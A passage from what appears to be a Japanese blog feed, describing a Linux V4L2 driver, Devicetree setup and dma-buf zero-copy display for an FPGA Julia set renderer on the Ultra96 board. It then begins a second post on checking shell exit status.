`fractal_0` が Vivado HLS で出力した Julia set 描画回路の IP で、`m_axis` がその出力ポートです。出力された画像の信号は、周波数の調整やデータの簡単な下処理を行うための IP を通したうえで、[AXI Video DMA (AXI VDMA)](https://www.xilinx.com/products/intellectual-property/axi_video_dma.html) という IP に接続されています。この IP は Vivado にバンドルされているもので、ストリーム形式の映像データをメモリへ転送したり、逆にメモリから映像を読み出してストリーム形式で出力するものです。今回は描画した Julia set の画像をメモリに書き込み、PS からその画像を読み出せるようにする役割があります。

上のデモでは使っていませんが、今回のブロックデザインには PL から直接 [Zynq UltraScale+ MPSoC の DisplayPort Controller](https://www.xilinx.com/support/documentation/user_guides/ug1085-zynq-ultrascale-trm.pdf#page=919) に映像を送り込むための回路も組み込まれています。ブロックデザインの右下あたりの IP がそれにあたります。下の tweet をしていた時期の実装では、この部分の回路を使った映像の出力をしていました。
&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;Ultra96 で Julia set 描くやつ、6fps くらい出るようになったり、いろんなの描けるようになった &lt;a href=&quot;https://t.co/iTE2lkyyVs&quot;&gt;pic.twitter.com/iTE2lkyyVs&lt;/a&gt;&lt;/p&gt;&amp;mdash; +。:.ﾟ٩(๑＞◡＜๑)۶:.｡+ﾟ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1099649604088254464?ref_src=twsrc%5Etfw&quot;&gt;February 24, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

## Ultra96 向け Linux のブートイメージを作る

PL の実装ができたので、今度は PS で動かすソフトウェアの実装をしていきます。

Xilinx の開発環境では、ベアメタル、FreeRTOS、Linux の開発を公式でサポートしているようです。当初はベアメタルでやっていこうと思っていたのですが、

- USB 接続のゲームパッドでぐりぐり動かしたい
- 現在の状況をカッコイイ感じでオーバーレイ表示したい
- ベアメタル開発時に提供されるライブラリが好きになれず規模の大きなコードを書く気になれなかった

という気持ちになってきたので Linux を利用することにしました。実装に必要な知識は多くなるけれども、ゲームパッドや GPU など各種デバイスドライバが提供されることや、普段から慣れた環境が利用できるメリットのほうが大きいと考えたためです。個人的に低レイヤ Linux に関する知識を付けていきたいなと思っていたのもあります。

### PetaLinux Tools で Ultra96 向けプロジェクトを作る

[PetaLinux Tools](https://www.xilinx.com/products/design-tools/embedded-software/petalinux-sdk.html) は Xilinx デバイスの PS 向け組み込み Linux 開発ツール群です。ブートローダ、カーネル、ライブラリ、アプリケーションの設定・ビルドおよびブートイメージの生成などを全てやってくれます。

Ultra96 向け PetaLinux プロジェクトの作成は、[ここ](http://zedboard.org/support/design/24166/156) で公開されている Board Support Packages (BSP) を利用するのが簡単そうです。しかし表示されているバージョンが v2018.2 と古かったりして心配だったので、展開した BSP の中身を参考にしながら自分で設定することにしました。

といっても必要な手順はそんなに多くありません。まず以下のコマンドでプロジェクトを作成します。

```
$ petalinux-create --type project --template zynqMP --name &lt;project-name&gt;
$ cd &lt;project-name&gt;
$ petalinux-config --get-hw-description=&lt;path-to-hdf-dir&gt;
```

最後の `petalinux-config` を実行すると、Linux カーネルで `make menuconfig` したときのような画面が出てくるので以下の値を設定します。

    DTG Settings  ---&gt;
        (zcu100-revc) MACHINE_NAME
    u-boot Configuration  ---&gt;
        (xilinx_zynqmp_zcu100_revC_defconfig) u-boot config target

これらの値を設定することで、Ultra96 向けの Devicetree などが読み込まれるようになります。この変化のわかりやすい例としては、無線 LAN やオンボード LED がちゃんと認識されるなどがあります。

## Linux からいい感じに画像を取得できるようにする

Ultra96 の Linux 開発環境ができたので、次は Linux からいい感じに Julia set 描画回路を制御するためのデバイスドライバを実装していきます。方針としては Julia set 描画回路をカメラのような映像入力デバイスとして扱えるようにし、V4L2 の API でデバイスの制御と生成された画像の取得ができるようにする、という感じです。

### Xilinx Video IP driver

さてデバイスドライバを実装するといっても、僕はデバイスドライバどころか Linux のカーネルモジュールすらまともに書いたことがなく、何もわかりません。それなのに Xilinx 特有のたくさんの PDF なドキュメントの中に Linux のデバイスドライバ実装に関するものは全くと言っていいほどなく、とても困ってしまいました。

それからいろいろ調べていって参考になったのが Xilinx の Linux カーネルのリポジトリ [Xilinx/linux-xlnx](https://github.com/Xilinx/linux-xlnx) です。追加されている Xilinx プラットフォーム特有のデバイスドライバの実装やそれらについてのドキュメントがとても参考になりました。特に今回のデバイスドライバ実装には

- [drivers/media/platform/xilinx/xilinx-tpg.c](https://github.com/Xilinx/linux-xlnx/blob/xilinx-v2018.3/drivers/media/platform/xilinx/xilinx-tpg.c)
    - Test Pattern Generator (TPG) のデバイスドライバ
    - ほぼ同じ動作をするデバイスであったため
    - 実装したコードもだいたい同じ感じになっている
- [Documentation/devicetree/bindings/media/xilinx/](https://github.com/Xilinx/linux-xlnx/tree/xilinx-v2018.3/Documentation/devicetree/bindings/media/xilinx)
    - Xilinx Video IP 関連の Devicetree の記述に関するドキュメント

あたりをよく参照していた記憶があります。

### デバイスドライバを実装する

ということでデバイスドライバを実装しました。最終的なコードは[ここ](https://github.com/Tosainu/ultra96-fractal/blob/1ed4e5e409d6445a85741149c112322cc6fc251c/petalinux_project/project-spec/meta-user/recipes-modules/kernel-module-fractal/files/fractal.c)です。

今回は [Platform device API](https://lwn.net/Articles/448499/) と呼ばれるものを使って実装していきます。Platform device のドライバ実装でまず必要となるのがデバイスの初期化のための処理 (`probe`) と取り外された (？) ときの処理 (`remove`) です。これらの処理の登録は、必要な関数を実装し、その関数ポインタなどを対応するメンバに指定した [`struct platform_driver`](https://elixir.bootlin.com/linux/v4.14/source/include/linux/platform_device.h#L180) 型の変数を [`module_platform_driver()`](https://elixir.bootlin.com/linux/v4.14/source/include/linux/platform_device.h#L227) マクロに渡せばいいようです。

```c
static int fractal_probe(struct platform_device *dev)
{
	// なんか実装
}

static int fractal_remove(struct platform_device *dev)
{
	// なんか実装
}

static const struct of_device_id fractal_of_id_table[] = {
	{ .compatible = &quot;xlnx,fractal-1.0&quot; },
	{ }
};
MODULE_DEVICE_TABLE(of, fractal_of_id_table);

static struct platform_driver fractal_driver = {
	.driver = {
		.name = &quot;fractal&quot;,
		.of_match_table = fractal_of_id_table,
	},
	.probe = fractal_probe,
	.remove = fractal_remove,
};

module_platform_driver(fractal_driver);
```

`probe` に登録した関数 `fractal_probe` では、大きく分けて3つの処理を行っています。

1. ドライバ内で利用するメモリ領域の確保
2. デバイスのレジスタにアクセスするための準備
3. V4L2 デバイスのための初期化

まずメモリ領域の確保です。今回実装したデバイスドライバ内で扱うデータとしてこんな感じの構造体を定義したので、
```c
struct fractal_device {
	struct device *dev;
	void __iomem *iomem;
	struct clk *clk;

	struct v4l2_subdev subdev;
	struct v4l2_mbus_framefmt format;
	struct media_pad pads[1];
};
```
こんな感じのコードでメモリ領域を確保することにしました。
```c
static int fractal_probe(struct platform_device *dev)
{
	struct fractal_device *fractal;

	fractal = devm_kzalloc(&amp;dev-&gt;dev, sizeof *fractal, GFP_KERNEL);
	if (!fractal)
		return -ENOMEM;
```

続いて、`fractal-&gt;iomem` からデバイスのレジスタ ([MMIO](https://en.wikipedia.org/wiki/Memory-mapped_I/O) なデバイスになっている) にアクセスできるようにします。こんな感じにすればいいようです。
```c
	struct resource *res;
	int ret;

	res = platform_get_resource(dev, IORESOURCE_MEM, 0);
	fractal-&gt;iomem = devm_ioremap_resource(fractal-&gt;dev, res);
	if (IS_ERR(fractal-&gt;iomem))
		return PTR_ERR(fractal-&gt;iomem);
```
これで `fractal-&gt;iomem` 経由でデバイスのレジスタにアクセスできるようになったので、例えば `ctrl` レジスタの `START` ビットと `AUTO_RESTART` ビットをセットするならこんな感じでできるようになります。
```c
#define FRACTAL_REG_CTRL		0x0
#define FRACTAL_REG_CTRL_START		BIT(0)
#define FRACTAL_REG_CTRL_DONE		BIT(1)
#define FRACTAL_REG_CTRL_IDLE		BIT(2)
#define FRACTAL_REG_CTRL_READY		BIT(3)
#define FRACTAL_REG_CTRL_AUTO_RESTART	BIT(7)

static inline void fractal_write(struct fractal_device *dev, u32 addr, u32 value)
{
	iowrite32(value, dev-&gt;iomem + addr);
}

static inline void fractal_set(struct fractal_device *dev, u32 addr, u32 value)
{
	fractal_write(dev, addr, fractal_read(dev, addr) | value);
}

fractal_set(fractal, FRACTAL_REG_CTRL,
	    FRACTAL_REG_CTRL_AUTO_RESTART |
	    FRACTAL_REG_CTRL_START);
```

ちなみに、ここまでで登場した [`devm_kzalloc`](https://elixir.bootlin.com/linux/v4.14/source/include/linux/device.h#L660) や [`devm_ioremap_resource`](https://elixir.bootlin.com/linux/v4.4/source/lib/devres.c#L134) などの `devm_xxx` 系の関数は [Managed resource API](https://lwn.net/Articles/222860/) と呼ばれるもので、この関数を使って確保した各種リソースはデバイスドライバがアンロードされたときに自動で解放してくれるそうです。便利。

最後に V4L2 関連の初期化です。これも流れとしては必要な値を設定したり、各種必要な処理を実装してその関数ポインタを渡すというもので、だいたいこんな感じになりました。
```c
static int fractal_s_stream(struct v4l2_subdev *subdev, int enable)
{
	// なんか実装
}

static const struct v4l2_subdev_core_ops fractal_core_ops = {
	// ...
};

static const struct v4l2_subdev_video_ops fractal_video_ops = {
	.s_stream = fractal_s_stream,
};

static const struct v4l2_subdev_pad_ops fractal_pad_ops = {
	// ...
};

static const struct v4l2_subdev_ops fractal_ops = {
	.core   = &amp;fractal_core_ops,
	.video  = &amp;fractal_video_ops,
	.pad    = &amp;fractal_pad_ops,
};

static int fractal_probe(struct platform_device *dev)
{
	struct v4l2_subdev *subdev;

	// その他の設定 ...

	subdev = &amp;fractal-&gt;subdev;
	v4l2_subdev_init(subdev, &amp;fractal_ops);

	// その他の設定 ...
}
```
`s_stream` はストリーミングの開始・終了時 ([`ioctl VIDIOC_STREAMON`, `ioctl VIDIOC_STREAMOFF`](https://www.kernel.org/doc/html/v4.14/media/uapi/v4l/vidioc-streamon.html)) に呼ばれる関数です。今回実装した Julia set 描画回路は描画の開始と終了を制御してやる必要があるので、このように実装しました。ストリーミングの開始時には、適用な初期値の設定も行っています。
```c
static inline struct fractal_device
*get_fractal_device(struct v4l2_subdev *subdev)
{
	return container_of(subdev, struct fractal_device, subdev);
}

static int fractal_s_stream(struct v4l2_subdev *subdev, int enable)
{
	struct fractal_device *fractal = get_fractal_device(subdev);

	if (enable) {
		fractal_write(fractal, FRACTAL_REG_X0, 0x10000000u);
		fractal_write(fractal, FRACTAL_REG_Y0, 0x09000000u);
		fractal_write(fractal, FRACTAL_REG_DX, 0x00044444u);
		fractal_write(fractal, FRACTAL_REG_DY, 0x00044444u);
		fractal_write(fractal, FRACTAL_REG_CR, 0xf9999999u);
		fractal_write(fractal, FRACTAL_REG_CI, 0x09999999u);

		fractal_set(fractal, FRACTAL_REG_CTRL,
			    FRACTAL_REG_CTRL_AUTO_RESTART |
			    FRACTAL_REG_CTRL_START);
	} else {
		fractal_clr(fractal, FRACTAL_REG_CTRL,
			    FRACTAL_REG_CTRL_AUTO_RESTART |
			    FRACTAL_REG_CTRL_START);
	}

	return 0;
}
```

このほか、`fractal_pad_ops` の `enum_mbus_code`、`enum_frame_size`、`get_fmt`、`set_fmt` が実装されています。実装といっても、今回は画像フォーマットは固定であるなどの理由からなにか特別な処理を実装したわけではないので、ここでは省略します。

### Devicetree の設定

[Devicetree](https://www.devicetree.org/) は、(ソフトウェアから直接探索できない) デバイスのプロパティや接続関係の詳細を記述するためのものだそうです。従来 OS の実装にハードコーディングしていたデバイス固有のパラメータを Devicetree に切り離すことで、OS をより汎用的なコードで実装できるようにするのが狙いだそうです。デバイスドライバの実装の際に MMIO なレジスタをマッピングするなどを行いましたが、ここで必要になる MMIO のアドレスなんかも Devicetree に記述される情報だったりします。ARM の Linux は Devicetree を活用しているものの1つで、今回 Linux に実装したデバイスを認識させるにあたって Devicetree の設定がいくつか必要になります。

PetaLinux Tools を使った開発では、Devicetree の設定を PetaLinux Tools が自動生成した Devicetree に必要に応じてノードの追加・上書きなどをすることによって行うようです。PetaLinux Tools が生成した Devicetree は `components/plnx_workspace/device-tree/device-tree/` にあります。例えば PL 上の回路に関連するものは `pl.dtsi` に記述されていて、今回実装した Julia set 描画回路に対応するものはこんな感じになっていました。
```dts
fractal_0: fractal@a0000000 {
	clock-names = &quot;ap_clk&quot;;
	clocks = &lt;&amp;misc_clk_1&gt;;
	compatible = &quot;xlnx,fractal-1.0&quot;;
	interrupt-names = &quot;interrupt&quot;;
	interrupt-parent = &lt;&amp;gic&gt;;
	interrupts = &lt;0 89 4&gt;;
	reg = &lt;0x0 0xa0000000 0x0 0x10000&gt;;
	xlnx,s-axi-ctrl-addr-width = &lt;0x6&gt;;
	xlnx,s-axi-ctrl-data-width = &lt;0x20&gt;;
};
```
この生成された Devicetree へのノードの追加・上書きは `project-spec/meta-user/recipes-bsp/device-tree/files/system-user.dtsi` によって行います。例えば前述した `fractal_0` に `hello = &quot;world&quot;;` というプロパティを追加したいときはこのような記述を追加します。
```dts
&amp;fractal_0 {
	hello = &quot;world&quot;;
}
```

さて、今回 Devicetree に追加しなければいけないのが

- [Xilinx Video IP Pipeline (VIPP)](https://github.com/Xilinx/linux-xlnx/blob/xilinx-v2018.3/Documentation/devicetree/bindings/media/xilinx/xlnx,video.txt) ノード
- 映像処理関連 IP が持つ入出力ポート
- 各種 IP と VIPP の入出力ポートの接続関係

です。とりあえず今回記述した `system-user.dtsi` が[こんな感じ](https://github.com/Tosainu/ultra96-fractal/blob/1ed4e5e409d6445a85741149c112322cc6fc251c/petalinux_project/project-spec/meta-user/recipes-bsp/device-tree/files/system-user.dtsi)になりました。
```dts
&amp;fractal_0 {
	ports {
		#address-cells = &lt;1&gt;;
		#size-cells = &lt;0&gt;;

		port@0 {
			reg = &lt;0&gt;;
			fractal_0_out_0: endpoint {
				remote-endpoint = &lt;&amp;vcap_0_in_0&gt;;
			};
		};
	};
};

&amp;amba_pl {
	vcap_0: video_cap {
		compatible = &quot;xlnx,video&quot;;
		dmas = &lt;&amp;axi_vdma_0 1&gt;;
		dma-names = &quot;port0&quot;;

		ports {
			#address-cells = &lt;1&gt;;
			#size-cells = &lt;0&gt;;

			port@0 {
				reg = &lt;0&gt;;
				direction = &quot;input&quot;;
				vcap_0_in_0: endpoint {
					remote-endpoint = &lt;&amp;fractal_0_out_0&gt;;
				};
			};
		};
	};
};
```
`vcap_0` が VIPP ノードです。このノードの `compatible` には `xlnx,video` を指定します。また `dmas` に利用する DMA とその Channel ID を指定します。Stream ID は、[AXI VDMA の場合](https://github.com/Xilinx/linux-xlnx/blob/xilinx-v2018.3/Documentation/devicetree/bindings/dma/xilinx/xilinx_dma.txt#L105-L112) 0 が Read channel、1 が Write channel に対応します[^dtvdma]。

[^dtvdma]: リンク先のドキュメントは微妙に違っていて、たぶん write/tx → read/tx、read/rx → write/rx が正しい。

デバイスの入出力ポートは `ports` ノード下に記述します。この辺の設定に関しては[ここ](https://github.com/Xilinx/linux-xlnx/blob/xilinx-v2018.3/Documentation/devicetree/bindings/media/video-interfaces.txt)を参考にすればよいでしょう。今回は `fractal_0`、`vcap_0` ともに入力または出力のポートの1つしかないなので `port@0` のみを記述し、それぞれ `remote-endpoint` にポートの接続先を指定してやりました。

### ブート時にドライバが読み込まれるようにする

デバイスドライバは PetaLinux プロジェクトのディレクトリで `petalinux-create --type modules` コマンドを実行することでプロジェクトに追加したカーネルモジュールとして実装しました。しかしこの追加したカーネルモジュールなのですが、`petalinux-config -c rootfs` で開いたメニューから有効にするだけでは、ビルドはされるもののブート時に自動で読み込まれるようになってくれませんでした。

追加したカーネルモジュールをブート時に自動的に読み込まれるようにするには、プロジェクトの `project-spec/meta-user/conf/petalinuxbsp.conf` に以下の行を追加する必要があるようです。

```ini
KERNEL_MODULE_AUTOLOAD_append = &quot; &lt;module-name&gt;&quot;
```

ちなみに、この `KERNEL_MODULE_AUTOLOAD` に関するドキュメントは[ここ](https://www.yoctoproject.org/docs/2.4/ref-manual/ref-manual.html#migration-1.7-kernel-module-autoloading)にあります。PetaLinux が Yocto Project をベースにしている (？) ためかこのあたりの設定項目のドキュメントは Yocto Project 側にあることも多く、調べるのが少し大変でした。

## 描画した Julia set をカッコよく表示できるようにする

最後に PL で描画した Julia set を表示したりゲームパッドで操作するためのアプリケーションを実装しました。実装したコードが[これ](https://github.com/Tosainu/ultra96-fractal/blob/1ed4e5e409d6445a85741149c112322cc6fc251c/petalinux_project/project-spec/meta-user/recipes-apps/fractal-explorer/files/main.cc)[^6]で、動作している様子がこんな感じです。ウィンドウ全体に描画した Julia set を表示しつつ、左上に Julia set のパラメータを表示しています[^7]。
![](./screenshot.png)

[^6]: いきあたりばったりな実装をしていてアレなことになっているのでなんとかしたい...

[^7]: 現時点では未実装で、表示されているのは適当な値

### ディスプレイドライバと X11 の相性が悪い問題

上のスクリーンショットで気づいた方もいるかもしれませんが、今回 [Wayland](https://wayland.freedesktop.org/) な Window Manager (WM) である [Weston](https://gitlab.freedesktop.org/wayland/weston/) を使っています。Wayland な WM を利用しているのは、X11 な WM ではなぜか性能が全く出てくれなかったためです。画面のチラつき・カクつきといった現象がみられたり、OpenGL ES 2.0 版の glmark2 を試すと良くても十数 fps 程度しか出なかったりと、とても許容できるものではありませんでした。この問題に悩んでいるときたまたま [Zynq UltraScale+MPSoC で Wayland が利用できるという情報](https://xilinx-wiki.atlassian.net/wiki/spaces/A/pages/18841928/Xilinx+MALI+driver)[^xilwiki]を見つけ試してみたら X11 よりはかなりマシに動作してくれることがわかり、じゃあ Wayland にするかーとなった感じです。

[^xilwiki]: Xilinx Wiki ってしょっちゅう403になってこまる...

紹介したリンク先にあるように、PetaLinux で Weston を組み込んだイメージを作るには `project-spec/meta-user/conf/petalinuxbsp.conf` に次の行を追加すればいいようです。
```ini
DISTRO_FEATURES_append = &quot; wayland&quot;
IMAGE_INSTALL_append = &quot; packagegroup-petalinux-weston&quot;
```
さらに X11 関連のパッケージが完全に不要であれば、同ファイルに
```ini
DISTRO_FEATURES_remove = &quot; x11&quot;
```

も追加すると、作成されるイメージがより小さくなって良さそうです。

WM に Wayland なものを採用したため、実装するアプリケーションも Wayland に対応したものでなければいけません。今回は複雑な UI を持ったものを作る予定がなかったことや、起動イメージをできる限り小さくしたかったことから、`wayland-client.h` の関数を直接利用し Wayland client を実装しました。

### V4L2 でキャプチャした画像を低遅延で表示したい

単に PL で生成した画像を表示したいだけであれば、前述した Zynq UltraScale+ MPSoC の DisplayPort Controller に直接映像を流し込む方法などが良さそうです。しかし今回は描画した Juia set の上からステータス表示などを合成したかったため、OpenGL ES 2.0 を使った画像の表示とステータス表示の合成を行うことにしました[^9]。

[^9]: Zynq UltraScale+ MPSoC の DisplayPort Controller 自体に映像の合成機能があるのでこれが使えないかなーと思ったのですが、Linux からやろうとするとちょっと難しそうだったのと、ベアメタル実装でいろいろ検証していたときに[検討していたパターンで上手く行かなかったりした](https://twitter.com/myon___/status/1080115506093338627)のでやめました

この方針で実装するにあたり、特にソフトウェア側で発生する遅延を最小限にするためにいくつかの工夫が必要でした。

OpenGL を使って画像を表示したい場合、まず GPU 側に画像を転送する必要があります。例えば以下のような画像データ `image` がある場合、
```c
GLubyte image[width * height * 4];
```
これを GPU に転送するコードは [`glTexImage2D`](https://www.khronos.org/registry/OpenGL-Refpages/es2.0/xhtml/glTexImage2D.xml) や [`glTexSubImage2D`](https://www.khronos.org/registry/OpenGL-Refpages/es2.0/xhtml/glTexSubImage2D.xml) などを使えばよく、だいたいこんな感じになります[^10]。
```c
GLuint texture;
glGenTextures(num_buffers, &amp;texture);

glBindTexture(GL_TEXTURE_2D, texture);
glTexImage2D(GL_TEXTURE_2D,
    0, GL_RGBA, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, image);
glBindTexture(GL_TEXTURE_2D, 0);
```

[^10]: 細かな処理を省いているのでこのコードはコピペではたぶん動きません

「なら V4L2 でキャプチャした画像を表示するのも簡単じゃん！」とこんな感じの実装[^11]をすると...
```c
// テクスチャの初期化
GLuint texture;
glGenTextures(num_buffers, &amp;texture);

int fd = open(&quot;/dev/video0&quot;, O_RDWR);

// キャプチャ用バッファの初期設定
struct v4l2_requestbuffers req;
req.count = MAX_BUFFERS;
req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
req.memory = V4L2_MEMORY_MMAP;
ioctl(fd, VIDIOC_REQBUFS, &amp;req);

unsigned int num_buffers = req.count;

// バッファの確保・ストリーミングキューへの追加
void* buffers[MAX_BUFFERS];
for (unsigned int i = 0; i &lt; num_buffers; ++i) {
  struct v4l2_buffer buf;
  buf.index = i;
  buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
  buf.memory = V4L2_MEMORY_MMAP;
  ioctl(fd, VIDIOC_QUERYBUF, &amp;buf);

  buffers[i] = mmap(NULL, buf.length, PROT_READ | PROT_WRITE, MAP_SHARED, fd, buf.m.offset);

  ioctl(fd, VIDIOC_QBUF, &amp;buf);
}

// キャプチャの開始
enum v4l2_buf_type type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
ioctl(fd, VIDIOC_STREAMON, &amp;type);

while (1) {
  // ストリーミングキューからバッファを取り出す
  struct v4l2_buffer buf;
  buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
  buf.memory = V4L2_MEMORY_MMAP;
  ioctl(fd, VIDIOC_DQBUF, &amp;buf);

  // 新しく取得した画像を GPU に転送
  glBindTexture(GL_TEXTURE_2D, texture);
  glTexSubImage2D(GL_TEXTURE_2D,
      0, GL_RGBA, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, buffers[buf.index]);
  glBindTexture(GL_TEXTURE_2D, 0);

  // 表示
  // ...

  // バッファをストリーミングキューへのへ戻す
  ioctl(fd, VIDIOC_QBUF, &amp;buf);
}
```
`glTexSubImage2D` の部分で**全然速度が出てくれません。** ちょっと時間計測をしたときの記憶があいまいなので正確な値は書けないのですが、今回の 1920px x 1080px の RGBA な画像 (約 7.9MB) を転送するケースで 50ms ~ 90ms 程度のオーダの時間が掛かっていました。この原因としては、単純に画像のコピーがあまり軽い処理でないということに加え、V4L2 のバッファとして割り当てられた領域のメモリキャッシュが (おそらく) 無効化されていることによるものだと推測しています。

&lt;Image src={nodmabufSvg} style=&quot;width: 70%&quot; alt=&quot;&quot; /&gt;

[^11]: これも細かな処理を省いているのでこのコードはコピペではたぶん動きません

この問題は、[たまたま見つけたスライド](https://elinux.org/images/5/53/Zero-copy_video_streaming.pdf)を参考に、[**dma-buf**](https://www.kernel.org/doc/html/v4.14/driver-api/dma-buf.html) という Linux カーネルが持つの複数のデバイス間でバッファを共有する仕組みを利用することで解決しました。

dma-buf の動作を簡単な図にするとこんな感じです。まず、共有したいメモリ領域を持つデバイスからそのメモリ領域に関する情報へアクセスするためのファイルディスクリプタを export します。そのファイルディスクリプタを共有先のデバイスに import することで、共有先のデバイスから共有元のメモリ領域に直接アクセスすることが可能となる、というものだそうです。dma-buf 利用前と比較し、データのコピーは必要なくなり、またユーザ空間でやり取りするデータもファイルディスクリプタだけと非常に簡単なものになっています。

&lt;Image src={dmabufSvg} style=&quot;width: 70%&quot; alt=&quot;&quot; /&gt;

ということで、dma-buf を使った実装をしていきます。V4L2 のバッファを export するには [`ioctl VIDIOC_EXPBUF`](https://www.kernel.org/doc/html/v4.14/media/uapi/v4l/vidioc-expbuf.html) を使います。
```c
int fds[MAX_BUFFERS];
for (unsigned int i = 0; i &lt; num_buffers; ++i) {
  struct v4l2_exportbuffer exbuf;
  exbuf.index = i;
  exbuf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
  ioctl(fd, VIDIOC_EXPBUF, &amp;exbuf);

  // exbuf.fd にファイルディスクリプタがセットされている
  fds[i] = exbuf.fd;
}
```

続いて OpenGL/EGL でこのファイルディスクリプタを import する部分です。まず必要となる関数を呼び出せるようにします。
```c
static PFNEGLCREATEIMAGEKHRPROC eglCreateImageKHR;
static PFNEGLDESTROYIMAGEKHRPROC eglDestroyImageKHR;
static PFNGLEGLIMAGETARGETTEXTURE2DOESPROC glEGLImageTargetTexture2DOES;

eglCreateImageKHR =
    (PFNEGLCREATEIMAGEKHRPROC)eglGetProcAddress(&quot;eglCreateImageKHR&quot;);
eglDestroyImageKHR =
    (PFNEGLDESTROYIMAGEKHRPROC)eglGetProcAddress(&quot;eglDestroyImageKHR&quot;);
glEGLImageTargetTexture2DOES =
    (PFNGLEGLIMAGETARGETTEXTURE2DOESPROC)eglGetProcAddress(&quot;glEGLImageTargetTexture2DOES&quot;);
```

これらの関数を使ってこんな実装をすれば準備は完了です。V4L2 の各バッファの画像が、対応する OpenGL のテクスチャに勝手に転送されるようになります。
```c
GLuint textures[MAX_BUFFERS];
::glGenTextures(num_buffers, textures);
for (auto i = 0u; i &lt; num_buffers; ++i) {
  EGLint attrs[] = {
    EGL_IMAGE_PRESERVED_KHR,       EGL_TRUE,
    EGL_WIDTH,                     width,
    EGL_HEIGHT,                    height,
    EGL_LINUX_DRM_FOURCC_EXT,      DRM_FORMAT_ABGR8888,
    EGL_DMA_BUF_PLANE0_FD_EXT,     fds[i],
    EGL_DMA_BUF_PLANE0_OFFSET_EXT, 0,
    EGL_DMA_BUF_PLANE0_PITCH_EXT,  width * 4,
    EGL_NONE
  };

  EGLImageKHR image =
      eglCreateImageKHR(egl_dpy, EGL_NO_CONTEXT, EGL_LINUX_DMA_BUF_EXT, NULL, attrs);

  glBindTexture(GL_TEXTURE_EXTERNAL_OES, textures[i]);
  glEGLImageTargetTexture2DOES(GL_TEXTURE_EXTERNAL_OES, image);
  glBindTexture(GL_TEXTURE_EXTERNAL_OES, 0);
}
```

## まとめ

Zynq UltraScale+ MPSoC の開発ボードである Ultra96 を用いて、FPGA、デバイスドライバ、デスクトップアプリケーションと、ハードウェアからソフトウェアまでを一通り実装して何かを作ってみた事例を紹介しました。なんか面白そうなデバイスがあるなーとか、最近の FPGA ってこんな開発方法があるのかーというのが伝わればいいなと思っています。

最後に、今回実装した Julia set explorer の元ネタというか、とても影響を受けている作品を紹介しようと思います。Chiaki Nakajima さんの [Pyxis 2010](http://www.chiaki.cc/Pyxis2010/index.htm) です。記事を見つけた当時 (6 ~ 7年前くらい？)、なんか FPGA っていうすごい素子があるんだなーというのと、なによりゲーム機を改造した作品ということでとても興味をひかれたのを覚えています。

## 追記 (2019/08/30)

もう少し強くなりました: [Ultra96 で Julia set をぐりぐり動かせるやつをもう少し強くした](/blog/2019/08/29/ultra96-julia-set-explorer-2/)</content:encoded></item><item><title>Exit status は無視しないようにしよう</title><link>https://myon.info/blog/2019/08/08/do-not-ignore-exit-status/</link><guid isPermaLink="true">https://myon.info/blog/2019/08/08/do-not-ignore-exit-status/</guid><pubDate>Thu, 08 Aug 2019 00:00:00 GMT</pubDate><content:encoded>**「手順に従ってコマンドを順番に実行したけどなんか動かなかった」**

\*nix 系のシステムを使った開発などで、何らかの目的を実現するために複数のシェルコマンドを実行する場面はよくあると思います。その操作が上手くいかなかったとき、こんな感じの質問をしてはいないでしょうか。また、このような場面で躓いているメンバーからこんな質問を受けたりすることはないでしょうか。

僕はこういった質問をたまに受けたりするのですが、これ、とても困るのです。まず実行したコマンドのうち何が失敗したのかの特定から始めることになるため、例えば互いの貴重な時間をそれなりに消費することになったりで双方にいいことがありません[^log]。

[^log]: せめて実行結果のログを送ってくれるだけでもいいのですが、それすらない場合が...

コマンドの出力をちゃんと読んでエラーを特定してから質問しろとは言いません[^2]。でもせめて、**Exit status** ってやつくらいは確認してください。**たった数桁の数字がゼロでないかを確認するだけ**です。これで、「xxx のコマンドの実行に失敗したんだけど...」と言えるようになりましょう。

[^2]: もちろんコマンドの出力はちゃんと把握できたほうがいいですし、特に重要なメッセージ (エラーとか警告とか) だけでも拾えてほしいですが...

&lt;!--more--&gt;

## Exit status って何？

Exit status (exit code や return status などとも呼ばれます) は、あるプロセス (≒ コマンド) が終了するときに、そのプロセスを起動した親のプロセスに返す 0 ~ 255 の値のことです。今回の話題であるシェル (Bash や Zsh など) での作業であれば、実行したコマンドがシェルに返す値のことを指します。

シェルで直前に実行したコマンドの Exit status は、シェル変数 `$?` を見ることで確認することができます。[`true(1)`](https://linux.die.net/man/1/true) と [`false(1)`](https://linux.die.net/man/1/false) の Exit status を確認してみるとこんな感じになると思います。

    $ true
    $ echo $?
    0

    $ fase
    $ echo $?
    1

この Exit status は何のための値なのかというと、プロセスの実行結果を簡潔に親プロセスに伝える役割があります。例えば [`ls(1)`](https://linux.die.net/man/1/ls) コマンドの `man` をみてみると、このコマンドの Exit status についてこのような説明がされています。

&gt; ### Exit status:
&gt; 0. if OK,
&gt; 1. if minor problems (e.g., cannot access subdirectory),
&gt; 2. if serious trouble (e.g., cannot access command-line argument).

で、ここで僕が伝えたいのは、実行したコマンドの Exit status がどういう意味を持っているか調べようということではありません。\*nix のシェルコマンドの大半は Exit status がゼロなら正常終了、それ以外の値は何かしらの問題が発生しているのだということです。つまり、**Exit status という数桁の数字がゼロでないかを確認するだけで、コマンドが出力したメッセージなどを読まなくとも正常終了したか判断できる**のです。



## プロンプトに Exit status を表示するようにしよう

でもいちいち `echo $?` とかするの面倒だし、`$?` はすぐ上書きされちゃって必要なときに参照できないし... となると思います。そこで今回紹介するのが**プロンプトに Exit status を表示**する方法です。プロンプトってのはコマンドを入力するとき右に表示されている `$` や `username@hostname` とかが表示されている部分のことです。

例えば僕のシェル[^dotfiles]では、直前に実行したコマンドの Exit status がゼロでなかったときに、赤の太字でその値を表示するようにしています。
![](./shell.svg)

